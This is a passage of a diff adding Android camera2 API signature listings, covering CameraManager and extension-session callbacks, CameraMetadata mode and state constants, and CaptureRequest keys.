+    method public void stopRepeating() throws android.hardware.camera2.CameraAccessException;
+  }
+
+  public abstract static class CameraExtensionSession.ExtensionCaptureCallback {
+    ctor public CameraExtensionSession.ExtensionCaptureCallback();
+    method public void onCaptureFailed(@NonNull android.hardware.camera2.CameraExtensionSession, @NonNull android.hardware.camera2.CaptureRequest);
+    method public void onCaptureProcessStarted(@NonNull android.hardware.camera2.CameraExtensionSession, @NonNull android.hardware.camera2.CaptureRequest);
+    method public void onCaptureSequenceAborted(@NonNull android.hardware.camera2.CameraExtensionSession, int);
+    method public void onCaptureSequenceCompleted(@NonNull android.hardware.camera2.CameraExtensionSession, int);
+    method public void onCaptureStarted(@NonNull android.hardware.camera2.CameraExtensionSession, @NonNull android.hardware.camera2.CaptureRequest, long);
+  }
+
+  public abstract static class CameraExtensionSession.StateCallback {
+    ctor public CameraExtensionSession.StateCallback();
+    method public void onClosed(@NonNull android.hardware.camera2.CameraExtensionSession);
+    method public abstract void onConfigureFailed(@NonNull android.hardware.camera2.CameraExtensionSession);
+    method public abstract void onConfigured(@NonNull android.hardware.camera2.CameraExtensionSession);
+  }
+
+  public final class CameraManager {
+    method @NonNull public android.hardware.camera2.CameraCharacteristics getCameraCharacteristics(@NonNull String) throws android.hardware.camera2.CameraAccessException;
+    method @NonNull public android.hardware.camera2.CameraExtensionCharacteristics getCameraExtensionCharacteristics(@NonNull String) throws android.hardware.camera2.CameraAccessException;
+    method @NonNull public String[] getCameraIdList() throws android.hardware.camera2.CameraAccessException;
+    method @NonNull public java.util.Set<java.util.Set<java.lang.String>> getConcurrentCameraIds() throws android.hardware.camera2.CameraAccessException;
+    method @RequiresPermission(android.Manifest.permission.CAMERA) public boolean isConcurrentSessionConfigurationSupported(@NonNull java.util.Map<java.lang.String,android.hardware.camera2.params.SessionConfiguration>) throws android.hardware.camera2.CameraAccessException;
+    method @RequiresPermission(android.Manifest.permission.CAMERA) public void openCamera(@NonNull String, @NonNull android.hardware.camera2.CameraDevice.StateCallback, @Nullable android.os.Handler) throws android.hardware.camera2.CameraAccessException;
+    method @RequiresPermission(android.Manifest.permission.CAMERA) public void openCamera(@NonNull String, @NonNull java.util.concurrent.Executor, @NonNull android.hardware.camera2.CameraDevice.StateCallback) throws android.hardware.camera2.CameraAccessException;
+    method public void registerAvailabilityCallback(@NonNull android.hardware.camera2.CameraManager.AvailabilityCallback, @Nullable android.os.Handler);
+    method public void registerAvailabilityCallback(@NonNull java.util.concurrent.Executor, @NonNull android.hardware.camera2.CameraManager.AvailabilityCallback);
+    method public void registerTorchCallback(@NonNull android.hardware.camera2.CameraManager.TorchCallback, @Nullable android.os.Handler);
+    method public void registerTorchCallback(@NonNull java.util.concurrent.Executor, @NonNull android.hardware.camera2.CameraManager.TorchCallback);
+    method public void setTorchMode(@NonNull String, boolean) throws android.hardware.camera2.CameraAccessException;
+    method public void unregisterAvailabilityCallback(@NonNull android.hardware.camera2.CameraManager.AvailabilityCallback);
+    method public void unregisterTorchCallback(@NonNull android.hardware.camera2.CameraManager.TorchCallback);
+  }
+
+  public abstract static class CameraManager.AvailabilityCallback {
+    ctor public CameraManager.AvailabilityCallback();
+    method public void onCameraAccessPrioritiesChanged();
+    method public void onCameraAvailable(@NonNull String);
+    method public void onCameraUnavailable(@NonNull String);
+    method public void onPhysicalCameraAvailable(@NonNull String, @NonNull String);
+    method public void onPhysicalCameraUnavailable(@NonNull String, @NonNull String);
+  }
+
+  public abstract static class CameraManager.TorchCallback {
+    ctor public CameraManager.TorchCallback();
+    method public void onTorchModeChanged(@NonNull String, boolean);
+    method public void onTorchModeUnavailable(@NonNull String);
+  }
+
+  public abstract class CameraMetadata<TKey> {
+    method @NonNull public java.util.List<TKey> getKeys();
+    field public static final int COLOR_CORRECTION_ABERRATION_MODE_FAST = 1; // 0x1
+    field public static final int COLOR_CORRECTION_ABERRATION_MODE_HIGH_QUALITY = 2; // 0x2
+    field public static final int COLOR_CORRECTION_ABERRATION_MODE_OFF = 0; // 0x0
+    field public static final int COLOR_CORRECTION_MODE_FAST = 1; // 0x1
+    field public static final int COLOR_CORRECTION_MODE_HIGH_QUALITY = 2; // 0x2
+    field public static final int COLOR_CORRECTION_MODE_TRANSFORM_MATRIX = 0; // 0x0
+    field public static final int CONTROL_AE_ANTIBANDING_MODE_50HZ = 1; // 0x1
+    field public static final int CONTROL_AE_ANTIBANDING_MODE_60HZ = 2; // 0x2
+    field public static final int CONTROL_AE_ANTIBANDING_MODE_AUTO = 3; // 0x3
+    field public static final int CONTROL_AE_ANTIBANDING_MODE_OFF = 0; // 0x0
+    field public static final int CONTROL_AE_MODE_OFF = 0; // 0x0
+    field public static final int CONTROL_AE_MODE_ON = 1; // 0x1
+    field public static final int CONTROL_AE_MODE_ON_ALWAYS_FLASH = 3; // 0x3
+    field public static final int CONTROL_AE_MODE_ON_AUTO_FLASH = 2; // 0x2
+    field public static final int CONTROL_AE_MODE_ON_AUTO_FLASH_REDEYE = 4; // 0x4
+    field public static final int CONTROL_AE_MODE_ON_EXTERNAL_FLASH = 5; // 0x5
+    field public static final int CONTROL_AE_PRECAPTURE_TRIGGER_CANCEL = 2; // 0x2
+    field public static final int CONTROL_AE_PRECAPTURE_TRIGGER_IDLE = 0; // 0x0
+    field public static final int CONTROL_AE_PRECAPTURE_TRIGGER_START = 1; // 0x1
+    field public static final int CONTROL_AE_STATE_CONVERGED = 2; // 0x2
+    field public static final int CONTROL_AE_STATE_FLASH_REQUIRED = 4; // 0x4
+    field public static final int CONTROL_AE_STATE_INACTIVE = 0; // 0x0
+    field public static final int CONTROL_AE_STATE_LOCKED = 3; // 0x3
+    field public static final int CONTROL_AE_STATE_PRECAPTURE = 5; // 0x5
+    field public static final int CONTROL_AE_STATE_SEARCHING = 1; // 0x1
+    field public static final int CONTROL_AF_MODE_AUTO = 1; // 0x1
+    field public static final int CONTROL_AF_MODE_CONTINUOUS_PICTURE = 4; // 0x4
+    field public static final int CONTROL_AF_MODE_CONTINUOUS_VIDEO = 3; // 0x3
+    field public static final int CONTROL_AF_MODE_EDOF = 5; // 0x5
+    field public static final int CONTROL_AF_MODE_MACRO = 2; // 0x2
+    field public static final int CONTROL_AF_MODE_OFF = 0; // 0x0
+    field public static final int CONTROL_AF_SCENE_CHANGE_DETECTED = 1; // 0x1
+    field public static final int CONTROL_AF_SCENE_CHANGE_NOT_DETECTED = 0; // 0x0
+    field public static final int CONTROL_AF_STATE_ACTIVE_SCAN = 3; // 0x3
+    field public static final int CONTROL_AF_STATE_FOCUSED_LOCKED = 4; // 0x4
+    field public static final int CONTROL_AF_STATE_INACTIVE = 0; // 0x0
+    field public static final int CONTROL_AF_STATE_NOT_FOCUSED_LOCKED = 5; // 0x5
+    field public static final int CONTROL_AF_STATE_PASSIVE_FOCUSED = 2; // 0x2
+    field public static final int CONTROL_AF_STATE_PASSIVE_SCAN = 1; // 0x1
+    field public static final int CONTROL_AF_STATE_PASSIVE_UNFOCUSED = 6; // 0x6
+    field public static final int CONTROL_AF_TRIGGER_CANCEL = 2; // 0x2
+    field public static final int CONTROL_AF_TRIGGER_IDLE = 0; // 0x0
+    field public static final int CONTROL_AF_TRIGGER_START = 1; // 0x1
+    field public static final int CONTROL_AWB_MODE_AUTO = 1; // 0x1
+    field public static final int CONTROL_AWB_MODE_CLOUDY_DAYLIGHT = 6; // 0x6
+    field public static final int CONTROL_AWB_MODE_DAYLIGHT = 5; // 0x5
+    field public static final int CONTROL_AWB_MODE_FLUORESCENT = 3; // 0x3
+    field public static final int CONTROL_AWB_MODE_INCANDESCENT = 2; // 0x2
+    field public static final int CONTROL_AWB_MODE_OFF = 0; // 0x0
+    field public static final int CONTROL_AWB_MODE_SHADE = 8; // 0x8
+    field public static final int CONTROL_AWB_MODE_TWILIGHT = 7; // 0x7
+    field public static final int CONTROL_AWB_MODE_WARM_FLUORESCENT = 4; // 0x4
+    field public static final int CONTROL_AWB_STATE_CONVERGED = 2; // 0x2
+    field public static final int CONTROL_AWB_STATE_INACTIVE = 0; // 0x0
+    field public static final int CONTROL_AWB_STATE_LOCKED = 3; // 0x3
+    field public static final int CONTROL_AWB_STATE_SEARCHING = 1; // 0x1
+    field public static final int CONTROL_CAPTURE_INTENT_CUSTOM = 0; // 0x0
+    field public static final int CONTROL_CAPTURE_INTENT_MANUAL = 6; // 0x6
+    field public static final int CONTROL_CAPTURE_INTENT_MOTION_TRACKING = 7; // 0x7
+    field public static final int CONTROL_CAPTURE_INTENT_PREVIEW = 1; // 0x1
+    field public static final int CONTROL_CAPTURE_INTENT_STILL_CAPTURE = 2; // 0x2
+    field public static final int CONTROL_CAPTURE_INTENT_VIDEO_RECORD = 3; // 0x3
+    field public static final int CONTROL_CAPTURE_INTENT_VIDEO_SNAPSHOT = 4; // 0x4
+    field public static final int CONTROL_CAPTURE_INTENT_ZERO_SHUTTER_LAG = 5; // 0x5
+    field public static final int CONTROL_EFFECT_MODE_AQUA = 8; // 0x8
+    field public static final int CONTROL_EFFECT_MODE_BLACKBOARD = 7; // 0x7
+    field public static final int CONTROL_EFFECT_MODE_MONO = 1; // 0x1
+    field public static final int CONTROL_EFFECT_MODE_NEGATIVE = 2; // 0x2
+    field public static final int CONTROL_EFFECT_MODE_OFF = 0; // 0x0
+    field public static final int CONTROL_EFFECT_MODE_POSTERIZE = 5; // 0x5
+    field public static final int CONTROL_EFFECT_MODE_SEPIA = 4; // 0x4
+    field public static final int CONTROL_EFFECT_MODE_SOLARIZE = 3; // 0x3
+    field public static final int CONTROL_EFFECT_MODE_WHITEBOARD = 6; // 0x6
+    field public static final int CONTROL_EXTENDED_SCENE_MODE_BOKEH_CONTINUOUS = 2; // 0x2
+    field public static final int CONTROL_EXTENDED_SCENE_MODE_BOKEH_STILL_CAPTURE = 1; // 0x1
+    field public static final int CONTROL_EXTENDED_SCENE_MODE_DISABLED = 0; // 0x0
+    field public static final int CONTROL_MODE_AUTO = 1; // 0x1
+    field public static final int CONTROL_MODE_OFF = 0; // 0x0
+    field public static final int CONTROL_MODE_OFF_KEEP_STATE = 3; // 0x3
+    field public static final int CONTROL_MODE_USE_EXTENDED_SCENE_MODE = 4; // 0x4
+    field public static final int CONTROL_MODE_USE_SCENE_MODE = 2; // 0x2
+    field public static final int CONTROL_SCENE_MODE_ACTION = 2; // 0x2
+    field public static final int CONTROL_SCENE_MODE_BARCODE = 16; // 0x10
+    field public static final int CONTROL_SCENE_MODE_BEACH = 8; // 0x8
+    field public static final int CONTROL_SCENE_MODE_CANDLELIGHT = 15; // 0xf
+    field public static final int CONTROL_SCENE_MODE_DISABLED = 0; // 0x0
+    field public static final int CONTROL_SCENE_MODE_FACE_PRIORITY = 1; // 0x1
+    field public static final int CONTROL_SCENE_MODE_FIREWORKS = 12; // 0xc
+    field public static final int CONTROL_SCENE_MODE_HDR = 18; // 0x12
+    field @Deprecated public static final int CONTROL_SCENE_MODE_HIGH_SPEED_VIDEO = 17; // 0x11
+    field public static final int CONTROL_SCENE_MODE_LANDSCAPE = 4; // 0x4
+    field public static final int CONTROL_SCENE_MODE_NIGHT = 5; // 0x5
+    field public static final int CONTROL_SCENE_MODE_NIGHT_PORTRAIT = 6; // 0x6
+    field public static final int CONTROL_SCENE_MODE_PARTY = 14; // 0xe
+    field public static final int CONTROL_SCENE_MODE_PORTRAIT = 3; // 0x3
+    field public static final int CONTROL_SCENE_MODE_SNOW = 9; // 0x9
+    field public static final int CONTROL_SCENE_MODE_SPORTS = 13; // 0xd
+    field public static final int CONTROL_SCENE_MODE_STEADYPHOTO = 11; // 0xb
+    field public static final int CONTROL_SCENE_MODE_SUNSET = 10; // 0xa
+    field public static final int CONTROL_SCENE_MODE_THEATRE = 7; // 0x7
+    field public static final int CONTROL_VIDEO_STABILIZATION_MODE_OFF = 0; // 0x0
+    field public static final int CONTROL_VIDEO_STABILIZATION_MODE_ON = 1; // 0x1
+    field public static final int DISTORTION_CORRECTION_MODE_FAST = 1; // 0x1
+    field public static final int DISTORTION_CORRECTION_MODE_HIGH_QUALITY = 2; // 0x2
+    field public static final int DISTORTION_CORRECTION_MODE_OFF = 0; // 0x0
+    field public static final int EDGE_MODE_FAST = 1; // 0x1
+    field public static final int EDGE_MODE_HIGH_QUALITY = 2; // 0x2
+    field public static final int EDGE_MODE_OFF = 0; // 0x0
+    field public static final int EDGE_MODE_ZERO_SHUTTER_LAG = 3; // 0x3
+    field public static final int FLASH_MODE_OFF = 0; // 0x0
+    field public static final int FLASH_MODE_SINGLE = 1; // 0x1
+    field public static final int FLASH_MODE_TORCH = 2; // 0x2
+    field public static final int FLASH_STATE_CHARGING = 1; // 0x1
+    field public static final int FLASH_STATE_FIRED = 3; // 0x3
+    field public static final int FLASH_STATE_PARTIAL = 4; // 0x4
+    field public static final int FLASH_STATE_READY = 2; // 0x2
+    field public static final int FLASH_STATE_UNAVAILABLE = 0; // 0x0
+    field public static final int HOT_PIXEL_MODE_FAST = 1; // 0x1
+    field public static final int HOT_PIXEL_MODE_HIGH_QUALITY = 2; // 0x2
+    field public static final int HOT_PIXEL_MODE_OFF = 0; // 0x0
+    field public static final int INFO_SUPPORTED_HARDWARE_LEVEL_3 = 3; // 0x3
+    field public static final int INFO_SUPPORTED_HARDWARE_LEVEL_EXTERNAL = 4; // 0x4
+    field public static final int INFO_SUPPORTED_HARDWARE_LEVEL_FULL = 1; // 0x1
+    field public static final int INFO_SUPPORTED_HARDWARE_LEVEL_LEGACY = 2; // 0x2
+    field public static final int INFO_SUPPORTED_HARDWARE_LEVEL_LIMITED = 0; // 0x0
+    field public static final int LENS_FACING_BACK = 1; // 0x1
+    field public static final int LENS_FACING_EXTERNAL = 2; // 0x2
+    field public static final int LENS_FACING_FRONT = 0; // 0x0
+    field public static final int LENS_INFO_FOCUS_DISTANCE_CALIBRATION_APPROXIMATE = 1; // 0x1
+    field public static final int LENS_INFO_FOCUS_DISTANCE_CALIBRATION_CALIBRATED = 2; // 0x2
+    field public static final int LENS_INFO_FOCUS_DISTANCE_CALIBRATION_UNCALIBRATED = 0; // 0x0
+    field public static final int LENS_OPTICAL_STABILIZATION_MODE_OFF = 0; // 0x0
+    field public static final int LENS_OPTICAL_STABILIZATION_MODE_ON = 1; // 0x1
+    field public static final int LENS_POSE_REFERENCE_GYROSCOPE = 1; // 0x1
+    field public static final int LENS_POSE_REFERENCE_PRIMARY_CAMERA = 0; // 0x0
+    field public static final int LENS_POSE_REFERENCE_UNDEFINED = 2; // 0x2
+    field public static final int LENS_STATE_MOVING = 1; // 0x1
+    field public static final int LENS_STATE_STATIONARY = 0; // 0x0
+    field public static final int LOGICAL_MULTI_CAMERA_SENSOR_SYNC_TYPE_APPROXIMATE = 0; // 0x0
+    field public static final int LOGICAL_MULTI_CAMERA_SENSOR_SYNC_TYPE_CALIBRATED = 1; // 0x1
+    field public static final int NOISE_REDUCTION_MODE_FAST = 1; // 0x1
+    field public static final int NOISE_REDUCTION_MODE_HIGH_QUALITY = 2; // 0x2
+    field public static final int NOISE_REDUCTION_MODE_MINIMAL = 3; // 0x3
+    field public static final int NOISE_REDUCTION_MODE_OFF = 0; // 0x0
+    field public static final int NOISE_REDUCTION_MODE_ZERO_SHUTTER_LAG = 4; // 0x4
+    field public static final int REQUEST_AVAILABLE_CAPABILITIES_BACKWARD_COMPATIBLE = 0; // 0x0
+    field public static final int REQUEST_AVAILABLE_CAPABILITIES_BURST_CAPTURE = 6; // 0x6
+    field public static final int REQUEST_AVAILABLE_CAPABILITIES_CONSTRAINED_HIGH_SPEED_VIDEO = 9; // 0x9
+    field public static final int REQUEST_AVAILABLE_CAPABILITIES_DEPTH_OUTPUT = 8; // 0x8
+    field public static final int REQUEST_AVAILABLE_CAPABILITIES_LOGICAL_MULTI_CAMERA = 11; // 0xb
+    field public static final int REQUEST_AVAILABLE_CAPABILITIES_MANUAL_POST_PROCESSING = 2; // 0x2
+    field public static final int REQUEST_AVAILABLE_CAPABILITIES_MANUAL_SENSOR = 1; // 0x1
+    field public static final int REQUEST_AVAILABLE_CAPABILITIES_MONOCHROME = 12; // 0xc
+    field public static final int REQUEST_AVAILABLE_CAPABILITIES_MOTION_TRACKING = 10; // 0xa
+    field public static final int REQUEST_AVAILABLE_CAPABILITIES_OFFLINE_PROCESSING = 15; // 0xf
+    field public static final int REQUEST_AVAILABLE_CAPABILITIES_PRIVATE_REPROCESSING = 4; // 0x4
+    field public static final int REQUEST_AVAILABLE_CAPABILITIES_RAW = 3; // 0x3
+    field public static final int REQUEST_AVAILABLE_CAPABILITIES_READ_SENSOR_SETTINGS = 5; // 0x5
+    field public static final int REQUEST_AVAILABLE_CAPABILITIES_REMOSAIC_REPROCESSING = 17; // 0x11
+    field public static final int REQUEST_AVAILABLE_CAPABILITIES_SECURE_IMAGE_DATA = 13; // 0xd
+    field public static final int REQUEST_AVAILABLE_CAPABILITIES_SYSTEM_CAMERA = 14; // 0xe
+    field public static final int REQUEST_AVAILABLE_CAPABILITIES_ULTRA_HIGH_RESOLUTION_SENSOR = 16; // 0x10
+    field public static final int REQUEST_AVAILABLE_CAPABILITIES_YUV_REPROCESSING = 7; // 0x7
+    field public static final int SCALER_CROPPING_TYPE_CENTER_ONLY = 0; // 0x0
+    field public static final int SCALER_CROPPING_TYPE_FREEFORM = 1; // 0x1
+    field public static final int SCALER_ROTATE_AND_CROP_180 = 2; // 0x2
+    field public static final int SCALER_ROTATE_AND_CROP_270 = 3; // 0x3
+    field public static final int SCALER_ROTATE_AND_CROP_90 = 1; // 0x1
+    field public static final int SCALER_ROTATE_AND_CROP_AUTO = 4; // 0x4
+    field public static final int SCALER_ROTATE_AND_CROP_NONE = 0; // 0x0
+    field public static final int SENSOR_INFO_COLOR_FILTER_ARRANGEMENT_BGGR = 3; // 0x3
+    field public static final int SENSOR_INFO_COLOR_FILTER_ARRANGEMENT_GBRG = 2; // 0x2
+    field public static final int SENSOR_INFO_COLOR_FILTER_ARRANGEMENT_GRBG = 1; // 0x1
+    field public static final int SENSOR_INFO_COLOR_FILTER_ARRANGEMENT_MONO = 5; // 0x5
+    field public static final int SENSOR_INFO_COLOR_FILTER_ARRANGEMENT_NIR = 6; // 0x6
+    field public static final int SENSOR_INFO_COLOR_FILTER_ARRANGEMENT_RGB = 4; // 0x4
+    field public static final int SENSOR_INFO_COLOR_FILTER_ARRANGEMENT_RGGB = 0; // 0x0
+    field public static final int SENSOR_INFO_TIMESTAMP_SOURCE_REALTIME = 1; // 0x1
+    field public static final int SENSOR_INFO_TIMESTAMP_SOURCE_UNKNOWN = 0; // 0x0
+    field public static final int SENSOR_PIXEL_MODE_DEFAULT = 0; // 0x0
+    field public static final int SENSOR_PIXEL_MODE_MAXIMUM_RESOLUTION = 1; // 0x1
+    field public static final int SENSOR_REFERENCE_ILLUMINANT1_CLOUDY_WEATHER = 10; // 0xa
+    field public static final int SENSOR_REFERENCE_ILLUMINANT1_COOL_WHITE_FLUORESCENT = 14; // 0xe
+    field public static final int SENSOR_REFERENCE_ILLUMINANT1_D50 = 23; // 0x17
+    field public static final int SENSOR_REFERENCE_ILLUMINANT1_D55 = 20; // 0x14
+    field public static final int SENSOR_REFERENCE_ILLUMINANT1_D65 = 21; // 0x15
+    field public static final int SENSOR_REFERENCE_ILLUMINANT1_D75 = 22; // 0x16
+    field public static final int SENSOR_REFERENCE_ILLUMINANT1_DAYLIGHT = 1; // 0x1
+    field public static final int SENSOR_REFERENCE_ILLUMINANT1_DAYLIGHT_FLUORESCENT = 12; // 0xc
+    field public static final int SENSOR_REFERENCE_ILLUMINANT1_DAY_WHITE_FLUORESCENT = 13; // 0xd
+    field public static final int SENSOR_REFERENCE_ILLUMINANT1_FINE_WEATHER = 9; // 0x9
+    field public static final int SENSOR_REFERENCE_ILLUMINANT1_FLASH = 4; // 0x4
+    field public static final int SENSOR_REFERENCE_ILLUMINANT1_FLUORESCENT = 2; // 0x2
+    field public static final int SENSOR_REFERENCE_ILLUMINANT1_ISO_STUDIO_TUNGSTEN = 24; // 0x18
+    field public static final int SENSOR_REFERENCE_ILLUMINANT1_SHADE = 11; // 0xb
+    field public static final int SENSOR_REFERENCE_ILLUMINANT1_STANDARD_A = 17; // 0x11
+    field public static final int SENSOR_REFERENCE_ILLUMINANT1_STANDARD_B = 18; // 0x12
+    field public static final int SENSOR_REFERENCE_ILLUMINANT1_STANDARD_C = 19; // 0x13
+    field public static final int SENSOR_REFERENCE_ILLUMINANT1_TUNGSTEN = 3; // 0x3
+    field public static final int SENSOR_REFERENCE_ILLUMINANT1_WHITE_FLUORESCENT = 15; // 0xf
+    field public static final int SENSOR_TEST_PATTERN_MODE_COLOR_BARS = 2; // 0x2
+    field public static final int SENSOR_TEST_PATTERN_MODE_COLOR_BARS_FADE_TO_GRAY = 3; // 0x3
+    field public static final int SENSOR_TEST_PATTERN_MODE_CUSTOM1 = 256; // 0x100
+    field public static final int SENSOR_TEST_PATTERN_MODE_OFF = 0; // 0x0
+    field public static final int SENSOR_TEST_PATTERN_MODE_PN9 = 4; // 0x4
+    field public static final int SENSOR_TEST_PATTERN_MODE_SOLID_COLOR = 1; // 0x1
+    field public static final int SHADING_MODE_FAST = 1; // 0x1
+    field public static final int SHADING_MODE_HIGH_QUALITY = 2; // 0x2
+    field public static final int SHADING_MODE_OFF = 0; // 0x0
+    field public static final int STATISTICS_FACE_DETECT_MODE_FULL = 2; // 0x2
+    field public static final int STATISTICS_FACE_DETECT_MODE_OFF = 0; // 0x0
+    field public static final int STATISTICS_FACE_DETECT_MODE_SIMPLE = 1; // 0x1
+    field public static final int STATISTICS_LENS_SHADING_MAP_MODE_OFF = 0; // 0x0
+    field public static final int STATISTICS_LENS_SHADING_MAP_MODE_ON = 1; // 0x1
+    field public static final int STATISTICS_OIS_DATA_MODE_OFF = 0; // 0x0
+    field public static final int STATISTICS_OIS_DATA_MODE_ON = 1; // 0x1
+    field public static final int STATISTICS_SCENE_FLICKER_50HZ = 1; // 0x1
+    field public static final int STATISTICS_SCENE_FLICKER_60HZ = 2; // 0x2
+    field public static final int STATISTICS_SCENE_FLICKER_NONE = 0; // 0x0
+    field public static final int SYNC_MAX_LATENCY_PER_FRAME_CONTROL = 0; // 0x0
+    field public static final int SYNC_MAX_LATENCY_UNKNOWN = -1; // 0xffffffff
+    field public static final int TONEMAP_MODE_CONTRAST_CURVE = 0; // 0x0
+    field public static final int TONEMAP_MODE_FAST = 1; // 0x1
+    field public static final int TONEMAP_MODE_GAMMA_VALUE = 3; // 0x3
+    field public static final int TONEMAP_MODE_HIGH_QUALITY = 2; // 0x2
+    field public static final int TONEMAP_MODE_PRESET_CURVE = 4; // 0x4
+    field public static final int TONEMAP_PRESET_CURVE_REC709 = 1; // 0x1
+    field public static final int TONEMAP_PRESET_CURVE_SRGB = 0; // 0x0
+  }
+
+  public abstract class CameraOfflineSession extends android.hardware.camera2.CameraCaptureSession {
+    ctor public CameraOfflineSession();
+  }
+
+  public abstract static class CameraOfflineSession.CameraOfflineSessionCallback {
+    ctor public CameraOfflineSession.CameraOfflineSessionCallback();
+    method public abstract void onClosed(@NonNull android.hardware.camera2.CameraOfflineSession);
+    method public abstract void onError(@NonNull android.hardware.camera2.CameraOfflineSession, int);
+    method public abstract void onIdle(@NonNull android.hardware.camera2.CameraOfflineSession);
+    method public abstract void onReady(@NonNull android.hardware.camera2.CameraOfflineSession);
+    method public abstract void onSwitchFailed(@NonNull android.hardware.camera2.CameraOfflineSession);
+    field public static final int STATUS_INTERNAL_ERROR = 0; // 0x0
+  }
+
+  public class CaptureFailure {
+    method public long getFrameNumber();
+    method @Nullable public String getPhysicalCameraId();
+    method public int getReason();
+    method @NonNull public android.hardware.camera2.CaptureRequest getRequest();
+    method public int getSequenceId();
+    method public boolean wasImageCaptured();
+    field public static final int REASON_ERROR = 0; // 0x0
+    field public static final int REASON_FLUSHED = 1; // 0x1
+  }
+
+  public final class CaptureRequest extends android.hardware.camera2.CameraMetadata<android.hardware.camera2.CaptureRequest.Key<?>> implements android.os.Parcelable {
+    method public int describeContents();
+    method @Nullable public <T> T get(android.hardware.camera2.CaptureRequest.Key<T>);
+    method @NonNull public java.util.List<android.hardware.camera2.CaptureRequest.Key<?>> getKeys();
+    method @Nullable public Object getTag();
+    method public boolean isReprocess();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Boolean> BLACK_LEVEL_LOCK;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Integer> COLOR_CORRECTION_ABERRATION_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<android.hardware.camera2.params.RggbChannelVector> COLOR_CORRECTION_GAINS;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Integer> COLOR_CORRECTION_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<android.hardware.camera2.params.ColorSpaceTransform> COLOR_CORRECTION_TRANSFORM;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Integer> CONTROL_AE_ANTIBANDING_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Integer> CONTROL_AE_EXPOSURE_COMPENSATION;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Boolean> CONTROL_AE_LOCK;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Integer> CONTROL_AE_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Integer> CONTROL_AE_PRECAPTURE_TRIGGER;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<android.hardware.camera2.params.MeteringRectangle[]> CONTROL_AE_REGIONS;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<android.util.Range<java.lang.Integer>> CONTROL_AE_TARGET_FPS_RANGE;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Integer> CONTROL_AF_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<android.hardware.camera2.params.MeteringRectangle[]> CONTROL_AF_REGIONS;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Integer> CONTROL_AF_TRIGGER;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Boolean> CONTROL_AWB_LOCK;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Integer> CONTROL_AWB_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<android.hardware.camera2.params.MeteringRectangle[]> CONTROL_AWB_REGIONS;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Integer> CONTROL_CAPTURE_INTENT;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Integer> CONTROL_EFFECT_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Boolean> CONTROL_ENABLE_ZSL;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Integer> CONTROL_EXTENDED_SCENE_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Integer> CONTROL_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Integer> CONTROL_POST_RAW_SENSITIVITY_BOOST;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Integer> CONTROL_SCENE_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Integer> CONTROL_VIDEO_STABILIZATION_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Float> CONTROL_ZOOM_RATIO;
+    field @NonNull public static final android.os.Parcelable.Creator<android.hardware.camera2.CaptureRequest> CREATOR;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Integer> DISTORTION_CORRECTION_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Integer> EDGE_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Integer> FLASH_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Integer> HOT_PIXEL_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<android.location.Location> JPEG_GPS_LOCATION;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Integer> JPEG_ORIENTATION;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Byte> JPEG_QUALITY;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Byte> JPEG_THUMBNAIL_QUALITY;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<android.util.Size> JPEG_THUMBNAIL_SIZE;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Float> LENS_APERTURE;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Float> LENS_FILTER_DENSITY;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Float> LENS_FOCAL_LENGTH;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Float> LENS_FOCUS_DISTANCE;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Integer> LENS_OPTICAL_STABILIZATION_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Integer> NOISE_REDUCTION_MODE;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<java.lang.Float> REPROCESS_EFFECTIVE_EXPOSURE_FACTOR;
+    field @NonNull public static final android.hardware.camera2.CaptureRequest.Key<android.graphics.Rect> SCALER_CROP_REGION;
